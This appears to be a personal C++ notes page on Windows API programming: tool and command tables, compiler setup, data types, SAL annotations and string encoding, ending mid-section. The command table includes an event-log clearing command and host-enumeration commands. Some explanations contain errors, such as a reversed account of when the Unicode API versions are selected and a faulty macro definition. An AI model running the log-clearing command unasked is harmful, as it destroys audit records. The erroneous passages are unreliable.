CPP / C++ Notes - Windows API Programming Win32

Table of Contents

1 Windows API Programming Win32

1.1 Overview

The Windows API is very low level and obviously-Windows only, therefore it makes sense in most of cases to take advantage of higher libraries which encapsulates this API in a C++-friendly. Some of those libraries are:

Windows-Only (Microsft-only)

  • MFC - Microsoft Foundation Classes
  • ATL - Active Template Library

Windows-Only - Third party.

  • WTL - Windows Template Library - Created by Microsft and later become opensourced at 2004.
  • Win32++ - "Win32++ is a C++ library used to build windows applications. Win32++ is a free alternative to MFC. It has the added advantage of being able to run on a wide range of free compilers, including Visual Studio Community, and the MinGW compiler provided with CodeBlocks and Dev-C++."

Cross-Platform:

  • QT Framework - QT is not only a cross platform GUI library, it also provides all sort of cross platform libraries for databases, sockets, text parsing, OpenGL, XML and so on.
    • Supported on: Windows, MacOSX, Linux, Android, iOS and many other operating systems.
  • wxWidgets - Just a well known GUI library.
    • Supported on: Windows, Linux, OSX.
  • Poco - Framework - A collection of cross-platform libraries for network: HTTP protocol, FTP, ICMP; database access - SQLite, MySQL, ODBC and MongoDB; Standardized human-readable data exchange formats - JSON and XML; Zip compression; SSL and crypto utils.

1.2 [DRAFT] Windows API Idiosyncrasies

  • Hungarian Notation
  • Non standard types:
    • LPSTRING, WORD, DWORD, BOOL, LPVOID …
  • Paths: Unlike in U*nix-like operating systems which are written with (/) forward slash, in Windows paths are written with backward slash (\) needs to be escaped with double backward slash (\\) since is slash is used for escape characters such as CR \n, \s and so on. Thus, a Windows path such as "C:\Users\sombody\file.exe" must be written as "C:\\Users\\sombody\\file.exe".
  • Different Calling Conventions in the same OS: (Note: Only for 32 bits x86)
    • __stdcall
    • __cdecl
    • __fastcall
  • Characters - ANSI X Unicode in API.
    • Windows API uses 16-bits Unicode wide characters (wchar_t) instead of 8 bits Unicode UTF-8 which is common in most modern Unix-like Oses such as Linux, BSD and MacOSX.
    • Windows API functions generally has two versions, an ANSI version with suffix 'A' and a wide unicode version with suffix 'W'. For instance the API CreateDirectory, has an ANSI version (which uses char) and does not work with UTF8 characteres such as 'ã', 'õ', 'ç', ' 我', 'Ж' and so on. And an wide unicode version using wide character (wchar_t) CreateDirectoryW.
  • Many string types
  • Many C-runtimes and entry points.
  • Functions has many parameters which makes them pretty complex. The only way to understand the API is to compile and run small specific examples.
  • Not all system calls are documented like open source OSes such as Linux or BSD.

1.3 Windows Tools and Configurations

1.3.1 Tools Shortcuts

This table compiles of Windows' built-in tools for enabling faster system configuration, debugging and troubleshooting. Those tools listed in the following table can be opened by typing the command at the shell (cmd.exe), powershell (powershell.exe) or by using Windows-Key + R keybind and then typing the command.

Description Tool/Command  
System Settings    
Edit Environment Variables rundll32.exe sysdm.cpl,EditEnvironmentVariables  
System settings and information control.exe system  
Windows Registry regedit  
Services and boot configuration msconfig  
Security Center wscui.cpl  
Services services.msc  
Shared Folders fsmgmt.msc  
System Information msinfo32  
User account management Rundll32.exe keymgr.dll,KRShowKeyMgr  
System Properties / Remote Tab Rundll32.exe shell32.dll,Control_RunDLL Sysdm.cpl,,5  
Component Services - COM, DCOM comexp.msc  
Device Manager devmgmt.msc  
TPM - Trusted Platform Module management tmp.msc  
Install/Unninstall new display languages lpksetup.exe  
     
Utilities    
Tool for taking screenshot snippingtool  
Task manager taskmgr  
Backup and Restore Utility sdclt  
Certificate Manager certmgr.msc  
Encrypted File System Wizard rekeywiz  
Remote Desktop mstsc  
     
General    
View system logs and events eventvwr or eventvwr.exe  
Windows Version winver or winver.exe  
System restore restrui.exe  
Details about hardware msinfo32  
DirectX and OpenGL diagnosing tool dxdiag  
Disks and partitions diskmgmt.msc  
     
Command Line (terminal-only)    
Windows version ver  
Summarized system information (CLI only) systeminfo  
OS information and build number wmic os list brief  
Show all environment variables set  
     
Network interfaces and local IP address (CLI only) ipconfig  
Show ARP table arp -A  
List all active network connections TCP/IP netstat -ano  
     
Processes and services    
List all processes tasklist  
Show all running services sc query  
Show all running services sc queryex  
List all services using WMIC tool wmic service get processid,name,startname,pathname  
List all services in a concise way (brief) wmic service list brief  
Terminate a process using its PID taskkill <PID>  
Terminate a process by name (notepad.exe - in this case) taskkill /F /IM notepad.exe  
     
Files and Directorires    
Enter a directory cd C:\Users\myser\directory  
Enter disk E: directory E:  
Print a file in command line (akin to Unix's cat) type <FILE>  
Delete a file del <FILE>  
List current directory dir  
List directory dir <DIRECTORY>  
     
Users    
Show current user whoami  
Current user's privileges whoami /priv  
Current user's groups whoami /groups  
List user accounts wmic useraccount  
List user accounts brief wmic useraccount list brief  
     
     
Windwos Network and SMB    
List network shares (SMB / SAMBA) wmic share list  
List printers wmic printer list brief  
Installed patches and hotfixes wmic qfe  
     
Disks and BIOS    
List disks wmic diskdrive list brief  
List logical disks (C:, E:, …) wmic logicaldisk list brief  
List all disks partitions wmic partition get name,size,type  
List disks and their serial numer wmic diskdrive get Name,Model,SerialNumber,Status  
Get BIOS serial number wmic bios get name,serialnumber,version  
     
Shutdown and reboot    
Reboot computer shutdown /r  
Reboot immediately shutdown /r /t 0  
Shutdown computer shutdown /s  
Loggof from current session shutdown /l  
Abort previous shutdown command shutdown /a  
     
System Logs    
View last 5 application logs wevtutil qe Application /f:text /rd:true /c:10  
View System logs (last 5) wevtutil qe System /f:text /rd:true  
View Security logs (last 5) wevtutil qe Security /f:text /rd:true  
View Setup log wevtutil qe Setup /f:text /rd:true  
Clean application logs wevtutil cl Application  
     

Note:

  • Any executable in %PATH% variable can be called without .exe extension, for instance, $ notepad.exe can be called with $ notepad.
  • (CLI only) => Command line only, the command only works on terminal (cmd.exe).
  • A Windows service is similar to a Unix daemon, it is a program that continously runs in background and does not have any graphical interface
  • WMIC - Windows Management Instrumentation

Shell folders shortcuts for quick access

The following commands can be run from the terminal or by using the keybind Windows-Key + R that opens the execute dialog.

Description shell shortcut  
     
User's directories    
Open users home directory %USERPROFILE% shell:profile  
Open libraries folder shell:libraries  
Open start menu programs folders shell:programs  
View intalled windows updates shell:AppUpdatesFolder  
Open recent documents folder shell:recent  
Open sendto folder shell:sendto  
Open startup folder shell:startup  
Open templates folder shell:templates  
Open user pinned folders shell:user pinned  
     
System directories    
Open C:\Windows directory shell:windows  
Open C:\Windows\System32 folder shell:system  
Open SysWow64 folder shell:systemx86  
Open C:\Windows\Fonts shell:fonts  
Open Resources folder (contains windows themes) shell:themes  
Browse Implicit apps shortcut shell:ImplicitAppShortcuts  
     

Open shell folder on terminal:

$ start "" "shell:systemx86"

Open Shell folder through Windows-Key + R:

  1. Type Windows-Key + R
  2. Type the shortcu, for instance: shell:windows

Open shell folder through explorer.exe

  • Type the shell shortcut in explorer.exe, for instance: shell:themes

Mounting remote SMB (Server Message Block) network shares

$ net use <DISK> <HOSTNAME>\<SHARED-FOLDER> /user:<USERNAME> <PASSWORD> 

Example:

# Example 1 
$ net use z: \\10.0.0.2\data  /user:myuser  mypasswd 

# Example 2 - using computer Netbios name 
$ net use z:  mycomputername\data  /user:myuser  mypasswd 

# Example 3 - using computer Netbios name and with persistence 
$ net use z:  \\mycomputername\data /persistant:yes  /user:myuser  mypasswd 

   # -------------------------------------# 

# Enter in the disk mapped to the network share 
$ z: 

# List files in the network share disk 
$ dir z:

1.3.2 File Path of Development Tools

Powershell x64

Powershell:

%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe

Powershell ISE

%windir%\system32\WindowsPowerShell\v1.0\PowerShell_ISE.exe  

Powershell x86

Powershell:

%windir%\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe

Powershell ISE

%windir%\syswow64\WindowsPowerShell\v1.0\PowerShell_ISE.exe

Loading MSVC x86-64 (64 bits) (Visual Studio Compiler)

Available at: MSCVC build tools download

# Load MSVC environment variables. 
$  %comspec%  /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Auxiliary\Build\vcvars64.bat"

# Get tooling location 
$ where cl.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30037\bin\Hostx64\x64\cl.exe

$ where link.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30037\bin\Hostx64\x64\link.exe
C:\Users\unix\scoop\apps\git\current\usr\bin\link.exe

$ where dumpbin.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30037\bin\Hostx64\x64\dumpbin.exe

Once MSVC configuration is loaded, sources can be compiled from command line using commands like the following:

$ cl.exe application.cpp /Fe:tkinfo.exe /EHsc /Zi /DEBUG advapi32.lib

Microsoft (R) C/C++ Optimizing Compiler Version 19.29.30037 for x64
Copyright (C) Microsoft Corporation.  All rights reserved.

tokeninfo.cpp
Microsoft (R) Incremental Linker Version 14.29.30037.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:tkinfo.exe
/debug
tokeninfo.obj
advapi32.lib

Loading MSVC x86 (32 bits) compiler tools

$ %comspec% /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Auxiliary\Build\vcvars32.bat"
**********************************************************************
** Visual Studio 2019 Developer Command Prompt v16.10.0
** Copyright (c) 2021 Microsoft Corporation
**********************************************************************
[vcvarsall.bat] Environment initialized for: 'x86'

C:\Users\unix>where cl.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30037\bin\Hostx86\x86\cl.exe

$ where link.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30037\bin\Hostx86\x86\link.exe

$ where dumpbin.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30037\bin\Hostx86\x86\dumpbin.exe

Windows Debugger Tools 64 bits ( Note: available at Windows 10 SDK )

Windbg (Windows Graphics Debugger - command line)

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe"

CDB Debugger (Windows command line debugger 64 bits)

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe"

Windows Debugger Tools 32 bits

Windbg (Windows Graphics Debugger - command line)

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\windbg.exe"  

CDB Debugger (Windows command line debugger 64 bits)

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\cdb.exe" 

1.3.3 Configuration

Editing Evironemnt Variables

In order to be able to launch tools from command line just by typing their name, such as MSBuild.exe or cmake.exe, the directories where are those tools need to be in the $PATH variable. This variable can be edited by using the control panel or the following command which opens the control panel at editing environment variables tab:

$ rundll32.exe sysdm.cpl,EditEnvironmentVariables

Adding tools to the %PATH% Environment Variables

STEP 1: Open the developer prompt:

**********************************************************************
** Visual Studio 2017 Developer Command Prompt v15.5.6
** Copyright (c) 2017 Microsoft Corporation
**********************************************************************
[vcvarsall.bat] Environment initialized for: 'x64'

STEP 2: Get the directory where is the executable, for instance, MSBuild.

C:\Users\archbox\source> where msbuild
C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

This directory(aka path) is: C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\MSBuild\15.0\Bin

STEP 3: Add this directory found at STEP 2 to %PATH% environment variable.

Just open the environment variables tab with the following command and add the path found at STEP 2.

  • $ rundll32.exe sysdm.cpl,EditEnvironmentVariables

Now MSBuild can be launched directly from any tool or console without specifying its path.

A faster way to collect thoses paths is to redirect the output of command where to a text file.

cd %USERPROFILE%\Desktop 
$ where msbuild  >> paths.txt
$ where nmake    >> paths.txt
$ where dumpbin  >> paths.txt

1.4 Windows API Main Header Files

Most used headers:

  • #include <windows.h>
  • #include <wchar.h> - Wide Characters - UTF16 chars
  • #include <tchar.h>
  • #include <global.h>
  • #include <nsfbd.h>

Other useful header files:

  • windows.h
    • Basic header file of Windows API
  • WinError.h
    • Error codes and strings
  • tchar.h
    • Provides the macro _T(…) and TEXT(…) for Unicode/ANSI string encoding handling.
  • wchar.h
    • Wide Character - UTF16 or wchar
  • global.h
  • ntfsb.h
  • Winsock2.h
    • Network sockets
  • Winbase.h
    • Windows types definitions
  • WinUser.h
    • Windows Messages
  • ShellAPI.h
    • Shell API
  • ShFolder.h
    • Folder definitions
  • Commdlg.h
    • Commom Controls (COM based)
  • Dlgs.h
    • Dialog definitions
  • IUnknown.h
    • COM header
  • conio.h
    • Console Input/Output functions - it is heritage grom MSDOS.

1.5 Windows API Runtime Libraries

  • kernel32.dll
    • Low level NTDLL wrappers.
  • user32.dll
    • User interface primitives used by graphical programs with menus, toolboxes, prompts, windows ..
  • shell.dll
  • gdi32.dll
    • Basic drawing primitives.
  • ole32.dll
  • MSVCRT.DLL
    • Implementation of the C standard library stdlib.
  • advapi.dll
    • Contains functions for system-related tasks such as registry and registry handling.
  • WS_32.DLL
    • Winsock2 library contains a socket implementation.
  • Ntdll.dll
    • Interface to Kernel. Not used by Windows programs directly.
  • Wininet.dll
    • Provides high level network APIs, for instance, HttpOpenRequest, FtpGetFile …

1.6 Windows Object Code Binary Format and Scripting Languages

Native executables, shared libraries and project files.

Extension Executable Description
  Binary Format  
Native Code    
.exe PE32 or PE64 Windows Executable
.scr PE32 or PE64 Windows Executable, screen saver animation
     
.dll PE32 or PE64 Dynamic Linked Library - It can be Native PE32, PE64 or .NET/CLR DLL
.xll PE32 or PE64 Excel native Addin (extensio or plugin). It is a dll with .xll extension.
.pyd PE32 or PE64 Python native module on Windows - DLL with .pyd extension instead of .dll.
.cpl PE32 or PE64 Control Panel Applet - Also a DLL with .cpl extension.
.sys PE32 or PE64 Windows device driver (akin to Linux kernel modules)
.ocx PE32 or PE64 Active Control X (DLL)
     
Special Files    
Ntoskrnl.exe PE32 or PE64 Windows-NT Kernel image
hall.dll PE32 or PE64 Hardware Abstraction Layer (HAL)
     
Compilation Binary Files    
.obj - Object file -> Input to linker before building an executable.
.pdb - Program Debug Database => Contains executable or DLL debugging symbols.
.lib - Oject File Library or import library
.exp - Exports Library File
.RES - Compiled resource script
     
Source and Project Files    
.def - Export Definition File
.sln - Visual Studio Solution (Project file).
.rs - Resource script - for embedding files into the executable.
     

Scripting Languages Files:

File Extension Interpreter Advantage Description
.bat cmd.exe Simplicity Batch Script - Legacy technology from MSDOS, but still useful for small automation.
.vbs or vbe WScript.exe or cscript.exe COM + OOP VBScript - Visual Basic Script
.js or jse JScript.exe COM + OOP  
.wcf     Windows Script File - Allows using many script engines iside the same file.
.ps1 .psm1 .ps1xml Powershell COM + OOP + .NET + Interactive Powershell Script
       
.reg regedit.exe - Windows registry script. Modify Windows registry when executed.
       

1.7 WinAPI C Data Types

1.7.1 Hungarian Notation

Windows API uses the Hungarian notation which was intruduced by Charles Simonyi at Microsoft and Xerox PARC. This notation uses a prefix to denote the variable type.

Notes and remarks:

  • Many sources advises against this notation and nowadays many IDEs can provide a variable type by just hovering the mouse over it.
  • Understanding the notation can help to reason about the Windows API.
  • The HN notation is not standardized.

Form:

TYPE-PREFIX + NAME + QUALIFIER 
Prefix Type Description Variable Name Example
b BYTE or BOOL boolean BOOL bFlag; BOOL bIsOnFocus
c char Character - 1 byte char cLetter
w WORD word  
dw DWORD double word  
i int integer int iNumberOfNodes
u32 unsigned [int] unsigned integer unsigned u32Nodes
f or fp float float point - single precision fInterestRate
d double float point - double precision dRateOfReturn
n   short int  
       
sz char* or const char* Pointer to null terminated char array. char* szButtonLabel
       
H HANDLE Handle HANDLE hModule; HMODULE hInstance;
p - Pointer double* pdwMyPointer;
lp - Long Pointer int* lpiPointer;
fn - Function pointer  
lpsz   Long Pointer  
LP   Long Pointer  
       
I - Interface (C++ interface class) class IDrawable …
S - Struct declaration struct SContext { … }
C - Class declaration class CUserData{ … }
m_ - Private member variable name of some class m_pszFileName
s_ - Static member of a class static int s_iObjectCount
       

Examples in Windows API - Function Create Process:

BOOL WINAPI CreateProcess(
  _In_opt_    LPCTSTR               lpApplicationName,      // const char*
  _Inout_opt_ LPTSTR                lpCommandLine,          // char*
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,     // 
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LPVOID                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,
  _Out_       LPPROCESS_INFORMATION lpProcessInformation
);
  • dwCreationFlags => (dw) prefix Indicates that the variable is a DWORD (int)
  • lpEnvironment => (lp - Long Pointer) Indicates that variable is a void pointer => (LPVOID = void* )
  • lpApplicationName => Indicates that the variable is a pointer to char or (LPCSTR = const char*)

Furthere Reading:

1.7.2 General Terminology

  • Handle - Is a unsigned integer number assigned to processes, windows, buttons, resources and etc. Actually, it is an opaque pointer to some system data structure (Kernel Object), similar to Unix's file descriptor pointer. The purpose of using handles or opaque pointer is to hide the implementation of those data structures allowing implementators to change their inner working without disrupting application developers. This approach gives a pseudo object-oriented interface to the Windows API. See also:
    • Note: A handle can be an obfuscated pointer exposed as an integer, void pointer void* (also opaque pointer) or ordinary opaque pointer (pointer to a C-struct or class which implementation is not exposed).
  • Types of Kernel Objects (Handle is a numeric value related to the pointer to kernel object C-struct). The name "object" comes from the idea that it is possible to access the kernel data structure pointer by the handle using the Win32 API functions. It works in a similar way to classical object oriented programming where the data structure and internal representation can only be accessed by the class methodos.
    • Symbolic Link
    • Process
      • A running program, executable. A process has its own address space, data, stack and heap.
    • Job
      • Group of processes managed as group.
    • File
      • Open file or I/O device.
    • Token
      • Security token used by many Win32 functions.
    • Event
      • Synchronization object used for notification.
    • Threads
      • Smallest unit of execution within a process.
    • Semaphore
    • Mutex
    • Timer
      • Object which provides notification after a certain period is elapsed.

References:

1.7.3 Common Data Types

Data Type Definition Description
BOOL typedef int BOOL Boolean variable true (non zero) or false (zero or 0)
BYTE typedef unsigned char BYTE A byte, 8 bits.
CCHAR typedef char CHAR An 8-bit Windows (ANSI) character.
     
DWORD typedef unsigned long DWORD A 32-bit unsigned integer. The range is 0 through 4294967295 decimal.
DWORDLONG typedef unsigned __int64 DWORDLONG 64 bits usigned int.
DWORD32 typedef unsigned int DWORD32 A 32-bit unsigned integer.
DWORD64 typedef unsigned __int64 DWORD64 A 64-bit unsigned integer.
     
     
FLOAT typedef float FLOAT A floating-point variable.
     
INT8 typedef signed char INT8 An 8-bit signed integer.
INT16 typedef signed short INT16 A 16-bit signed integer.
INT32 typedef signed int INT32 A 32-bit signed integer. The range is -2147483648 through 2147483647 decimal.
INT64 typedef signed __int64 INT64 A 64-bit signed integer.
     
     
LPBOOL typedef BOOL far *LPBOOL; A pointer to a BOOL.
LPBYTE typedef BYTE far *LPBYTE A pointer to a BYTE.
LPCSTR, PCSTR typedef __nullterminated CONST CHAR *LPCSTR pointer to a constant null-terminated string of 8-bit Windows (ANSI) characters.
LPCVOID typedef CONST void *LPCVOID; A pointer to a constant of any type.
LPCWSTR, PCWSTR typedef CONST WCHAR *LPCWSTR; A pointer to a constant null-terminated string of 16-bit Unicode characters.
LPDWORD typedef DWORD *LPDWORD A pointer to a DWORD.
LPSTR typedef CHAR *LPSTR; A pointer to a null-terminated string of 8-bit Windows (ANSI) characters.
LPTSTR   An LPWSTR if UNICODE is defined, an LPSTR otherwise.
LPWSTR typedef WCHAR *LPWSTR; A pointer to a null-terminated string of 16-bit Unicode characters.
PCHAR typedef CHAR *PCHAR; A pointer to a CHAR.
     
CHAR ANSI Char or char  
WCHAR Wide character 16 bits UTF16  
TCHAR - A WCHAR if UNICODE is defined, a CHAR otherwise.
UCHAR typedef unsigned char UCHAR; An unsigned CHAR.
     
WPARAM typedef UINT_PTR WPARAM; A message parameter.
     
     

1.7.4 Other data types

   
   
HANDLE 32 bits integer used as a handle
HDC Handle to device context
HWND 32-bit unsigned integer used as handle to a window
LONG  
LPARAM  
LPSTR  
LPVOID Generic pointer similar to void*
LRESULT  
UINT Unsigned integer
WCHAR 16-bit Unicode character or Wide-Character
WPARAM  
HINSTANCE  

1.8 SAL - Source Code Annotation Language

Annotation such as __In__ or __Out__ commonly found on Windows API documetation, as shown in the code below, is called SAL - Source Code Annotation language. In a C code, it is hard to figure out which parameters are used to return values or are read-only used only as input. The SAL solves this problem by declaring which function parameters are input, read-only and which parameters are output.

SAL is the Microsoft source code annotation language. By using source code annotations, you can make the intent behind your code explicit. These annotations also enable automated static analysis tools to analyze your code more accurately, with significantly fewer false positives and false negatives.

http://msdn.microsoft.com/en-us/library/hh916383.aspx

HANDLE CreateRemoteThreadEx(
  __in__ HANDLE                       hProcess,
  __in__ LPSECURITY_ATTRIBUTES        lpThreadAttributes,
  __in__ SIZE_T                       dwStackSize,
  __in__ LPTHREAD_START_ROUTINE       lpStartAddress,
  __in__ LPVOID                       lpParameter,
  __in__ DWORD                        dwCreationFlags,
  __in__ LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  __out__ LPDWORD                     lpThreadId
);

DWORD WINAPI FormatMessage(
   _In_     DWORD dwFlags,
   _In_opt_ LPCVOID lpSource,
   _In_     DWORD dwMessageId,
   _In_     DWORD dwLanguageId,
   _Out_    LPTSTR lpBuffer,
   _In_     DWORD nSize,
   _In_opt_ va_list *Arguments
);

To allow those annotations in the source code, it is necessary to add the header #include <sal.h>. This SAL annotation is not standard among C++ compilers and is not defined by any C or C++ standard, as a result, the annotations only works on MSVC - Microsoft Visual C++ Compiler. This feature can be implemented in a portable way with macros.

SAL Fundamentals:

SAL Annotatio Description
_In_ Input parameter - read only argument no modified inside the by the function.
  Generally has the const qualifier such as const char*.
_In_Out_ Optional input parameter, can be ignored by passing a null pointer.
   
_Out_ Output paramenter - Argument is written by the called function. It is generally a pointer.
   
_Out_opt_ Optional output parameter. Can be ignored by setting it to null pointer.
   
_Inout_ Data is passed to the function and pontentially modified.
   
_Outptr_ Output to caller. The value returned by written to the parameter is pointer.
   
_Outptr_opt_ Optional output pointer to caller, can be ignored by passing NULL pointer.
   

Note: if the parameter is not annotated with _opt_ the caller is not supposed to pass a NULL pointer, otherwise the parameter must be annotated with _In_opt_, _Out_opt_ and etc.

Usage example:

  • This annotation enhances the readability by telling reader which parameters are input and which parameters are output or used for returning values.

File: sal1.cpp

#include <sal.h>     // Microsft's Source Code Annotation Language 
#include <iostream>

// Computes elementwise product of two vectors 
void vector_element_product(
      _In_ size_t size,
      _In_ const double xs[],
      _In_ const double ys[],
      _Out_      double zs[]
      ){
      for(int i = 0; i < size; i++){
          zs[i] = xs[i] * ys[i];
      }
}

void showArray(size_t size, double xs[]){
  std::cout << "(" << size << ")[ ";
  for(int i = 0; i < size; i++){
    std::cout << xs[i] << " ";
  }
  std::cout << "] ";
}

int main(){
  double xs [] = {4, 5, 6, 10};
  double ys [] = {4, 10, 5, 25};
  double zs [4];
  vector_element_product(4, xs, ys, zs);
  std::cout << "xs = "; showArray(4, xs); std::cout << "\n";
  std::cout << "ys = "; showArray(4, ys); std::cout << "\n";
  std::cout << "zs = "; showArray(4, zs); std::cout << "\n";

}

Compiling:

  • MSVC (CL.EXE):
$ cl.exe sal1.cpp /nologo /Fe:sal1-a.exe && sal1-a.exe
sal1.cpp
C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.12.25827\include\xlocale(313): warning C4530: C++ exception handler used, but unwind semantics are not enabled. Specify /EHsc
xs = (4)[ 4 5 6 10 ]
ys = (4)[ 4 10 5 25 ]
zs = (4)[ 16 50 30 250 ]
  • Mingw/G++
$ g++ sal1.cpp -o sal1-b.exe -std=c++11 && sal1-b.exe
xs = (4)[ 4 5 6 10 ]
ys = (4)[ 4 10 5 25 ]
zs = (4)[ 16 50 30 250 ]

Note: It doesn't work on Linux or other OSes. But it can be implemented with header files.

Open Source SAL Implementation:

  • Source-code annotation language (SAL) compatibility header - https://github.com/nemequ/salieri
    • "Salieri is a header which provides definitions for Microsoft's source-code annotation language (SAL). Simply drop the header into your code and use it instead of including <sal.h> directly, and you can use SAL annotations even if you want your program to be portable to compilers which don't support it."
    • "SAL provides lots of annotations you can use to describe the behavior of your program. There is a Best Practices and Examples (SAL) page on MSDN if you want to get a very quick idea of how it works, but the basic idea is that you end up with something like this:"

References:

1.9 Character Encoding in WinAPI - ANSI x utf8 x utf16 (wchar_t)

1.9.1 Overview

Unlike Linux, MacOSX and BSD where the API supports unicode UTF-8, the Windows API only supports ANSI enconding (char) and UTF16 or Unicode with 2 bytes per character wchar_t.

Macros and types for enconding portability

The following macros are widely used by Windows API for portability between ANSI and Unicode:

  • Strings:
    • <std::string> (UTF8 enconding) - Ordinary string (aka multi-byte string)
    • std::wstring (UTF-16 enconding) - Wide string - string defined as array of wide characters wchar_t.
  • TCHAR (Header: <tchar.h>) - When the UNICODE is defined TCHAR becomes wchar_t, otherwise, it becomes char.
#ifdef _UNICODE
  typedef wchar_t TCHAR;
#else
  typedef char TCHAR;
#endif
  • String Literal _T or TEXT macro.
#ifdef _UNICODE 
   #define _T(str)   L##str
   #define TEXT(c)   L##str
#else 
   #define _T(str)     str 
   #define TEXT(str)   str
#endif
  • Character array type definition:
Type Definition  
LPSTR char*  
LPCSTR const char*  
     
LPWSTR wchar_t*  
LPCWSTR const wchar_t*  
     
LPTSTR TCHAR*  
LPCTSTR const TCHAR*  
     

String Literals

  • Utf-8 string literal (narrow characters or multibyte string) - cannot be used with Windows APIs as they will interpret those string literals as ANSI, thus not all characters will be represented.
"UTF8 - Unicode 8 bits multi-byte literal";
// Note: It doesn't work with Windows APIs (Windows specific functions)
char utf8_text [] = "Random text in Georgian script (UTF8): ნუსხური";
  • Utf-16 string literal (wide characters - wchar_t). Windows Unicode APIs or functions only works with wide characters (wchar_t).
L"UTF16 Wchar wide chracters literal";
wchar_t utf16_text [] = L"Random text in Georgian script (UTF16): ნუსხური";
  • String prefixed with _T or TEXT. If Unicode is defined the string literal becomes an unicode UTF16 string literal and prefix 'L' is added to the string, otherwise nothing happens.
TCHAR text [] = _T("Random text in Georgian script  ნუსხური");
// OR 
TCHAR text [] = TEXT("Random text in Georgian script  ნუსხური");

If UNICODE is not defined, it becomes:

char text [] = "Random text in Georgian script ნუსხური";

If Unicode is defined, it becomes:

wchar_t text [] = L"Random text in Georgian script ნუსხური";

Windows APIs - ANSI X Unicode version

Almost every function in Windows API such as CreateDirectory has an ANSI and Unicode UTF16 (with wide chars wchar_t) version. The ANSI version of CreateDirectory API is CreateDirectoryA (suffix A) and the unicode version is CreateDirectoryW. The API CreateDirectory is expanded to CreateDirectoryW if #define UNICODE preprocessor flag is not defined, otherwise it is expanded to CreateDirectoryA.

  • ANSI Version:
BOOL CreateDirectoryA(
  LPCSTR /* const char */  lpPathName,
  LPSECURITY_ATTRIBUTES    lpSecurityAttributes
);
  • Unicode Version:
BOOL CreateDirectoryW(
  LPCWSTR /* const wchar_t*  */  lpPathName,   
  LPSECURITY_ATTRIBUTES          lpSecurityAttributes
);

1.9.2 Unicode UTF8 X Wide Unicode C-strign functions

In C++, it is better and safer to use std::string (UTF8 string) or std::wstring (wchar_t) wide unicode string since they can be modified at runtime and can take care of memory allocation and deallocation. However, it is worth knowing the C-functions for the purposing of reading and understanding Windows API codes which are mostly written in C rather than C++.

The following C-functions are widely used on many C-codes for Windows and Unix-like operating systems. Nowadays, the APIs of most Unix-like operating systems uses unicode UTF8 (char) by default, while most low level Windows API only supports Wide unicode (wchar_t). Windows.

char wchar_t - Wide character  
UTF8 UTF16 - Wide Unicode Description
strlen wcslen Get string length
strcmp wcscmp Comparre string
strcpy wcsncpy Copy N-characters from one string to another
strcat wcscat Concatenat string
     
strtod wcstod Convert wide string to double

Signature of Wide unicode functions:

  • Length of wide string
size_t wcslen (const wchar_t* wcs);
  • Copy wide string
wchar_t* wcscpy (wchar_t* destination, const wchar_t* source);
  • Concatenate wide string
wchar_t* wcscat (wchar_t* destination, const wchar_t* source

1.9.3 Example - ANSI X Unicode and Windows API

Compiling with GCC:

# Build 
$ g++ winapi-encoding1.cpp -o out-gcc.exe -std=c++14  
# Compile 
$ out-gcc.exe 

Compiling with MSVC:

  • Note: If there is any unicode literal in the source, such as some text in Chinese or Hidi script, it is necessary to compile with the options (/source-charset:utf-8 /execution-charset:utf-8), otherwise the
# Build 
$ cl.exe winapi-encoding1.cpp user32.lib /EHsc /Zi /nologo /source-charset:utf-8 /execution-charset:utf-8 \
   /Fe:out-msvc.exe 
# Run 
$ out-msvc.exe 

Headers:

  • To enable the expansion to unicode versions of WinAPIs, the flags UNICODE and _UNICODE must be enabled. For instance, if those flags are enabled CreateDirectory is expanded to CreateDirectoryW and TCHAR is expanded to wchar_t. Otherwise, CreateDirectory is expanded to CreateDirectoryA and TCHAR to char.
  • Note: The unicode flags must be defined before any windows specific header such as <windows.h> or <tchar.h>.
#include <fstream> 
#include <string>
#include <sstream>

// Enable Unicode version of Windows API compile with -DWITH_UNICODE 
#ifdef WITH_UNICODE
  #define UNICODE
  #define _UNICODE
#endif 

#include <windows.h>
#include <tchar.h>

Experiment 1 - Print to console:

// ===========> EXPERIMENT 1 - Print to Console ============//  
std::cout << "\n ===>>> EXPERIMENT 1: Print to terminal [ANSI/UTF8] <<<=== " << std::endl;
{
   std::cout  <<  " [COUT] Some text example - указан - 读写汉字1 " << "\n";
   std::wcout << L" [WCOUT] Some text example - указан - 读写汉字1 " << L"\n";  
}

Output:

  • This piece of code fails because the Windows' console (cmd.exe) cannot print unicode text by default. It needs to be configured before printing unicode, otherwise it will print garbage.
===>>> EXPERIMENT 1: Print to terminal [ANSI/UTF8] <<<
[COUT] Some text example - указан - 读写汉字
[WCOUT] Some text example -

Experiment 2 - Print to File

